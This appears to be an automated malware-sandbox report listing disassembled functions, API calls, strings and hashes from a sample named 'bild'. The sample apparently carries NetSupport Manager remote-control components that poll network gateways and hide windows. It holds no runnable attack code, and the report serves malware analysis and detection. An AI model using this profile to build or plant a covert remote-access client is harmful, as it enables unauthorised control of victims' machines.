String ID: ://$GET$HttpOpenRequestA$HttpQueryInfoA$HttpSendRequestA$InternetCloseHandle$InternetConnectA$InternetErrorDlg$InternetOpenA$InternetQueryDataAvailable$InternetQueryOptionA$WinInet.dll
API String ID: 3053051410-913974648
Opcode ID: 36508fb7aa93ad5402a0a829a6fade002c528e1580f22bfa2ed00e1b157900af
Instruction ID: e81a0880bf89439be6f70403065d0babe3f5b16467f55efefddb7e1ac6149969
Opcode Fuzzy Hash: 36508fb7aa93ad5402a0a829a6fade002c528e1580f22bfa2ed00e1b157900af
Instruction Fuzzy Hash: 5E127FB0D04269EBEB11CFA9CC88A9EFBF9FF88754F604569E465E7240E7705940CB60

Function 6C5E7030 Relevance: 89.7, APIs: 21, Strings: 30, Instructions: 406
threadlibrarysynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C5D2A90: GetModuleFileNameA.KERNEL32(00000000,?,00000100), ref: 6C5D2ACB
Part of subcall function 6C5D2A90: _strrchr.LIBCMT ref: 6C5D2ADA
Part of subcall function 6C5D2A90: _strrchr.LIBCMT ref: 6C5D2AEA
Part of subcall function 6C5D2A90: wsprintfA.USER32 ref: 6C5D2B05

Part of subcall function 6C5EDBD0: _malloc.LIBCMT ref: 6C5EDBE9
Part of subcall function 6C5EDBD0: wsprintfA.USER32 ref: 6C5EDC04
Part of subcall function 6C5EDBD0: _memset.LIBCMT ref: 6C5EDC27

LoadLibraryA.KERNEL32(WinInet.dll), ref: 6C5E7057
InitializeCriticalSection.KERNEL32(6C61B898), ref: 6C5E70DF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C5E70EF
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C5E7115
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 6C5E713B
WSAStartup.WSOCK32(00000101,6C61B91A), ref: 6C5E7167
_malloc.LIBCMT ref: 6C5E71A3

Part of subcall function 6C5F1B69: __FF_MSGBANNER.LIBCMT ref: 6C5F1B82
Part of subcall function 6C5F1B69: __NMSG_WRITE.LIBCMT ref: 6C5F1B89
Part of subcall function 6C5F1B69: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,6C5FD3C1,6C5F6E81,00000001,6C5F6E81,?,6C5FF447,00000018,6C617738,0000000C,6C5FF4D7), ref: 6C5F1BAE

_memset.LIBCMT ref: 6C5E71D3
_calloc.LIBCMT ref: 6C5E7214
_malloc.LIBCMT ref: 6C5E728B
_memset.LIBCMT ref: 6C5E72C1
_malloc.LIBCMT ref: 6C5E72CD
_memset.LIBCMT ref: 6C5E7303
GetTickCount.KERNEL32 ref: 6C5E7361
CreateThread.KERNEL32(00000000,00004000,6C5E6BA0,00000000,00000000,6C61BACC), ref: 6C5E737E
SetThreadPriority.KERNEL32(00000000,00000001), ref: 6C5E73AC
GetModuleFileNameA.KERNEL32(00000000,C:\Users\Public\Netstat\Support\,00000104), ref: 6C5E7430
GetPrivateProfileIntA.KERNEL32(htctl.packet_tracing,mode,00000000,C:\Users\Public\Netstat\Support\pci.ini), ref: 6C5E74B0
GetModuleHandleA.KERNEL32(nsmtrace), ref: 6C5E74C0
CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 6C5E7566
timeBeginPeriod.WINMM(00000001), ref: 6C5E7573

Strings

*DisconnectTimeout, xrefs: 6C5E733A
pci.ini, xrefs: 6C5E748F
sv.ResumeEvent, xrefs: 6C5E7150
sv.hRecvThread, xrefs: 6C5E7397
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C5E70FF, 6C5E7125, 6C5E714B, 6C5E71B9, 6C5E722A, 6C5E72A1, 6C5E72E3, 6C5E7392, 6C5E73BD
sv.s, xrefs: 6C5E71BE
mode, xrefs: 6C5E74A1
Support\, xrefs: 6C5E7451
nsmtrace, xrefs: 6C5E74B6
(iflags & CTL_REMOTE) == 0, xrefs: 6C5E73C2
C:\Users\Public\Netstat\Support\, xrefs: 6C5E742A, 6C5E7438, 6C5E744C
htctl.packet_tracing, xrefs: 6C5E74A8
*CMPI, xrefs: 6C5E731F
Trace, xrefs: 6C5E7547
sv.hRecvThreadReadyEvent, xrefs: 6C5E7104
sv.subset.omit, xrefs: 6C5E72E8
NetworkSpeed, xrefs: 6C5E73D7
C:\Users\Public\Netstat\Support\pci.ini, xrefs: 6C5E7481, 6C5E749B
sv.hResponseEvent, xrefs: 6C5E712A
_debug, xrefs: 6C5E7502, 6C5E7519, 6C5E753C, 6C5E754C
HTCTL32, xrefs: 6C5E7036
WinInet.dll, xrefs: 6C5E7052
sv.subset.subset, xrefs: 6C5E72A6
NSM165348, xrefs: 6C5E7257
TraceSend, xrefs: 6C5E74DB, 6C5E7514
051829, xrefs: 6C5E7242
TraceRecv, xrefs: 6C5E74CF, 6C5E74FD
TraceFile, xrefs: 6C5E7537
sv.gateways, xrefs: 6C5E722F
General, xrefs: 6C5E733F

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: Create$_malloc_memset$EventModule$FileNameThread_strrchrwsprintf$AllocBeginCountCriticalHandleHeapInitializeLibraryLoadMutexPeriodPriorityPrivateProfileSectionStartupTick_calloctime
String ID: (iflags & CTL_REMOTE) == 0$*CMPI$*DisconnectTimeout$051829$C:\Users\Public\Netstat\Support\$C:\Users\Public\Netstat\Support\pci.ini$General$HTCTL32$NSM165348$NetworkSpeed$Support\$Trace$TraceFile$TraceRecv$TraceSend$WinInet.dll$_debug$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$htctl.packet_tracing$mode$nsmtrace$pci.ini$sv.ResumeEvent$sv.gateways$sv.hRecvThread$sv.hRecvThreadReadyEvent$sv.hResponseEvent$sv.s$sv.subset.omit$sv.subset.subset
API String ID: 3301999572-1741121462
Opcode ID: 5d081a41dfd9bf93e5597d3cba939311992e1d2ed10c0aeecb4869c2e8a98381
Instruction ID: 0dee276890cdb34187167312b63104ddfd4d8682cb2b258eb1bb316ee71beeed
Opcode Fuzzy Hash: 5d081a41dfd9bf93e5597d3cba939311992e1d2ed10c0aeecb4869c2e8a98381
Instruction Fuzzy Hash: 2DD1B4F0A04305AFDB10AF6E8CC695A7BF8EB4A34AF55492AE405D7F41D630AC448F9D

Function 11061C90 Relevance: 76.5, APIs: 22, Strings: 21, Instructions: 1221COMMON

Download Yara Rule

APIs

Part of subcall function 11144EA0: GetLastError.KERNEL32(?,0286B8D0,000000FF,?), ref: 11144ED5
Part of subcall function 11144EA0: Sleep.KERNEL32(000000C8,?,?,?,?,?,?,0286B8D0,000000FF,?), ref: 11144EE5

_fgets.LIBCMT ref: 11061DC2
_strpbrk.LIBCMT ref: 11061E29
_fgets.LIBCMT ref: 11061F2C
_strpbrk.LIBCMT ref: 11061FA3
__wcstoui64.LIBCMT ref: 11061FBC
_fgets.LIBCMT ref: 11062035
_strpbrk.LIBCMT ref: 1106205B

Strings

enforce, xrefs: 11062136
%s.%04d.%s, xrefs: 110622A9
/- , xrefs: 110627FE, 11062831, 11062864
start, xrefs: 11062739, 11062750
ACM, xrefs: 11062697
_checksum, xrefs: 1106240F
Expired, xrefs: 1106296B
shrink_wrap, xrefs: 11062636
licensee, xrefs: 11062A53
%c%04d%s, xrefs: 11062184
_version, xrefs: 11062429
defaults, xrefs: 11062116
cd_install, xrefs: 1106261B
product, xrefs: 11062652
expiry, xrefs: 11062730
?expirY, xrefs: 11062768
Client, xrefs: 11062262, 110622A4
inactive, xrefs: 110625B1
?starT, xrefs: 11062771, 1106277D
_include, xrefs: 110621C9
_License, xrefs: 11062356, 11062414, 1106242E, 110625B6, 11062620, 1106263B, 11062657, 11062751, 11062970, 11062A58

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _fgets_strpbrk$ErrorLastSleep__wcstoui64
String ID: %c%04d%s$%s.%04d.%s$/- $?expirY$?starT$ACM$Client$Expired$_License$_checksum$_include$_version$cd_install$defaults$enforce$expiry$inactive$licensee$product$shrink_wrap$start
API String ID: 716802716-1571441106
Opcode ID: 138079b93c76e623c3914dadf52ec1966105b04443ff76c6d6b694830cc74feb
Instruction ID: 9b454a0e08db4b844aa329f9a873b431930d9d904307df7fc69ae15b9a8492e5
Opcode Fuzzy Hash: 138079b93c76e623c3914dadf52ec1966105b04443ff76c6d6b694830cc74feb
Instruction Fuzzy Hash: 55A2D375E0461A9FEB21CF64CC80BEFB7B9AF44345F0041D9E849A7281EB71AA45CF61

Function 11143570 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,74DF23A0), ref: 111435A3
LoadLibraryA.KERNEL32(?), ref: 111435EC
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 11143605
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 11143614
GetModuleHandleA.KERNEL32(?), ref: 1114361A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1114362E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1114364D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11143658
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11143663
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1114366E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11143679
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11143684
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1114368F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1114369A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 111436A5
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 111436B0
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 111436BB
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 111436C6
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 111436D1
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 111436DC

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

Strings

SymSetOptions, xrefs: 111436A7
SymGetLineNext, xrefs: 1114364F
IMAGEHLP.DLL, xrefs: 1114360E, 11143613, 11143619
StackWalk, xrefs: 11143673
MiniDumpWriteDump, xrefs: 111436D3
SymFunctionTableAccess, xrefs: 111436C8
SymGetOptions, xrefs: 1114369C
SymLoadModule, xrefs: 11143686
DBGHELP.DLL, xrefs: 111435FF, 11143604
SymGetLineFromAddr, xrefs: 11143628
SymGetSymFromAddr, xrefs: 111436BD
SymGetModuleInfo, xrefs: 111436B2
SymGetLinePrev, xrefs: 1114365A
SymCleanup, xrefs: 1114367B
SymMatchFileName, xrefs: 11143665
SymGetLineFromName, xrefs: 11143647
SymInitialize, xrefs: 11143691
dbghelp.dll, xrefs: 111435C8

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction ID: 707b91cc949213dae1a505c6abf15ec2f20ed18dfa7402eb99b54f6ccfa65761
Opcode Fuzzy Hash: cfe4e0547bd5fe59c7f15dfeaa5816d95d94d48cef7707ac470bf4deacf2edb6
Instruction Fuzzy Hash: 05411B70A04714AFD7309F768D84A6BFAF8BF55A04B10492EE496D3A10EBB5E8008F5D

Function 6C5DA980 Relevance: 56.4, APIs: 28, Strings: 4, Instructions: 389
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6C5D5840: inet_ntoa.WSOCK32(00000080,?,00000000,?,6C5D8F91,00000000,00000000,6C61B8DA,?,00000080), ref: 6C5D5852

EnterCriticalSection.KERNEL32(6C61B898,?,00000000,00000000), ref: 6C5DAA11
LeaveCriticalSection.KERNEL32(6C61B898), ref: 6C5DAA58
LeaveCriticalSection.KERNEL32(6C61B898), ref: 6C5DAA68
LeaveCriticalSection.KERNEL32(6C61B898), ref: 6C5DAA94
WSAGetLastError.WSOCK32(?,?,?,?,?,00000000,00000000), ref: 6C5DAB0B
socket.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAB4E
WSAGetLastError.WSOCK32(00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAB5A
#21.WSOCK32(00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAB8E
#21.WSOCK32(00000000,0000FFFF,00000080,?,00000004,00000000,0000FFFF,00001001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DABB1
#21.WSOCK32(00000000,00000006,00000001,?,00000004,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DABE3
bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC18
WSAGetLastError.WSOCK32(00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC21
closesocket.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC29
htons.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC65
WSASetBlockingHook.WSOCK32(6C5D63A0,00000000,00000000,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC76
WSAGetLastError.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC8F
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC96
closesocket.WSOCK32(00000000,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAC9C
WSAGetLastError.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DACFD
WSAUnhookBlockingHook.WSOCK32(?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAD04
closesocket.WSOCK32(00000000,?,?,?,?,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAD0A
WSAUnhookBlockingHook.WSOCK32(00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAD45
EnterCriticalSection.KERNEL32(6C61B898,00000010,00000002,00000001,00000000,?,00000000,00000000), ref: 6C5DAD4F
InitializeCriticalSection.KERNEL32(-6C61CB4A), ref: 6C5DADE6

Part of subcall function 6C5D8FB0: _memset.LIBCMT ref: 6C5D8FE4
Part of subcall function 6C5D8FB0: getsockname.WSOCK32(?,?,00000010,?,02852FE8,?), ref: 6C5D9005

getsockname.WSOCK32(00000000,?,?), ref: 6C5DAE4B
LeaveCriticalSection.KERNEL32(6C61B898), ref: 6C5DAE60
GetTickCount.KERNEL32 ref: 6C5DAE6C
InterlockedExchange.KERNEL32(?,00000000), ref: 6C5DAE7A

Strings

Cannot connect to gateway %s, error %d, xrefs: 6C5DACA6
Connect error to %s using hijacked socket, error %d, xrefs: 6C5DAB17
*TcpNoDelay, xrefs: 6C5DABB8
Cannot connect to gateway %s via web proxy, error %d, xrefs: 6C5DAD14

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$ErrorLast$BlockingHookLeave$Unhookclosesocket$Entergetsockname$CountExchangeInitializeInterlockedTick_memsetbindhtonsinet_ntoasocket
String ID: *TcpNoDelay$Cannot connect to gateway %s via web proxy, error %d$Cannot connect to gateway %s, error %d$Connect error to %s using hijacked socket, error %d
API String ID: 692187944-2561115898
Opcode ID: f4a079e2fe642fe042012d4e0c9d55cb29d927114e22d132283d1190d0600107
Instruction ID: fb70bedb50f581ab446862bef5ac2d3b9a14edd6e83d34ccd58adfe83e01b611
Opcode Fuzzy Hash: f4a079e2fe642fe042012d4e0c9d55cb29d927114e22d132283d1190d0600107
Instruction Fuzzy Hash: 5EE18F71A01219DFDB14DF68CC80BDEB3B5EB88305F1141AAE91A97A80DB70AE49CF55

Function 11139090 Relevance: 54.7, APIs: 20, Strings: 11, Instructions: 474
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 111390C7
IsWindow.USER32(00030496), ref: 11139125
IsWindowVisible.USER32(00030496), ref: 11139133
IsWindowVisible.USER32(00030496), ref: 1113916B
GetForegroundWindow.USER32 ref: 11139186
EnableWindow.USER32(00030496,00000000), ref: 111391A0
EnableWindow.USER32(00030496,00000001), ref: 111391BC
SetForegroundWindow.USER32(00000000), ref: 111391CB
FindWindowA.USER32(Shell_TrayWnd,00000000), ref: 11139209
IsWindowVisible.USER32(00000000), ref: 11139218
IsWindowVisible.USER32(00030496), ref: 11139248
IsIconic.USER32(00030496), ref: 11139255
GetForegroundWindow.USER32 ref: 1113925F

Part of subcall function 11131210: ShowWindow.USER32(00030496,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

Part of subcall function 11131210: ShowWindow.USER32(00030496,11139062,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131246

SetForegroundWindow.USER32(00000000), ref: 11139285
EnableWindow.USER32(00030496,00000001), ref: 11139294
GetLastError.KERNEL32 ref: 11139353
GetLastError.KERNEL32 ref: 111393CB
GetTickCount.KERNEL32 ref: 11139678
GetTickCount.KERNEL32 ref: 11139699

Part of subcall function 11025BB0: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,111396E2), ref: 11025BB8

FreeLibrary.KERNEL32(?,00000000,000000FF,00000000,00000001,00000000,00000001,00000000,0000000A,?,00000000), ref: 11139734

Strings

Reactivate main window, xrefs: 11139179
Shell_TrayWnd, xrefs: 11139204
HookDirectSound, xrefs: 11139450
disableRunplugin, xrefs: 111392D8
File <%s> doesnt exist, e=%d, xrefs: 11139357, 111393CF
Audio, xrefs: 11139455
Client, xrefs: 11139159, 111392DD, 1113963B
ShowNeedsReinstall in 15, user=%s, xrefs: 1113966B
MainWnd = %08x, visible %d, valid %d, xrefs: 1113913D
NeedsReinstall, xrefs: 11139636
HideWhenIdle, xrefs: 11139154

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$ForegroundVisible$Enable$CountErrorLastLibraryShowTick$CurrentFindFreeIconicLoadThread
String ID: Audio$Client$File <%s> doesnt exist, e=%d$HideWhenIdle$HookDirectSound$MainWnd = %08x, visible %d, valid %d$NeedsReinstall$Reactivate main window$Shell_TrayWnd$ShowNeedsReinstall in 15, user=%s$disableRunplugin
API String ID: 2511061093-2542869446
Opcode ID: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction ID: 168a4b77644d94df8a921335772b55db7e1a21360cf08f879ca3086e41f0bcfd
Opcode Fuzzy Hash: 0e4ccee009b06b63fab7a686928084bc30871ce576c3106fc105d812773a0109
Instruction Fuzzy Hash: 700229B8A1062ADFE716DFA4CDD4B6AF766BBC071EF500178E4255728CEB30A844CB51

Function 6C5D91F0 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 97sleepnetworkCOMMON

Download Yara Rule

APIs

#16.WSOCK32(00000000,?,a3^l,00000000,00000000,?,00000007), ref: 6C5D924C
WSAGetLastError.WSOCK32(00000000,?,a3^l,00000000,00000000,?,00000007), ref: 6C5D925B
GetTickCount.KERNEL32 ref: 6C5D9274
Sleep.KERNEL32(00000001,00000000,?,a3^l,00000000,00000000,?,00000007), ref: 6C5D92A8
GetTickCount.KERNEL32 ref: 6C5D92B0
Sleep.KERNEL32(00000014), ref: 6C5D92BC

Strings

ReadSocket - Connection has been closed by peer, xrefs: 6C5D92E0
ReadSocket - Error %d reading response, xrefs: 6C5D92F7
hbuf->buflen - hbuf->datalen >= min_bytes_to_read, xrefs: 6C5D922B
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C5D9226
ReadSocket - Would block, xrefs: 6C5D928A
a3^l, xrefs: 6C5D9244
*RecvTimeout, xrefs: 6C5D927B

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CountSleepTick$ErrorLast
String ID: *RecvTimeout$ReadSocket - Connection has been closed by peer$ReadSocket - Error %d reading response$ReadSocket - Would block$a3^l$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$hbuf->buflen - hbuf->datalen >= min_bytes_to_read
API String ID: 2495545493-3425134272
Opcode ID: 33e875e09022cfc04a646acb22b40cdd98fc642f8d20e01b6c4bc488a390689e
Instruction ID: b6b82bb0c7a53810def9def3cfbeb8ec5dc44364cda453f3f9bd56f1836d49ea
Opcode Fuzzy Hash: 33e875e09022cfc04a646acb22b40cdd98fc642f8d20e01b6c4bc488a390689e
Instruction Fuzzy Hash: 4F31B175E04308EFDB00DFADDC85B8EB3B4EB85326F014959E909D7E40EB31A9548B99

Function 6C5E3130 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 178timethreadCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,939E354D,6E272756,939E34B3,FFFFFFFF,00000000), ref: 6C5E31E2
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,6C60ECB0), ref: 6C5E31EC
GetSystemTime.KERNEL32(?,6E272756,939E34B3,FFFFFFFF,00000000), ref: 6C5E322A
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000,6C60ECB0), ref: 6C5E3234
EnterCriticalSection.KERNEL32(6C61B898,?,939E354D), ref: 6C5E32BE
LeaveCriticalSection.KERNEL32(6C61B898,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00002000), ref: 6C5E32D3
GetCurrentThreadId.KERNEL32 ref: 6C5E334D

Part of subcall function 6C5EBA20: __strdup.LIBCMT ref: 6C5EBA3A

Part of subcall function 6C5EBB00: _free.LIBCMT ref: 6C5EBB2D

Strings

INFO=1, xrefs: 6C5E3304
CMD=POLL, xrefs: 6C5E32F4
ACK=1, xrefs: 6C5E3312
1.1, xrefs: 6C5E3240, 6C5E324A

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
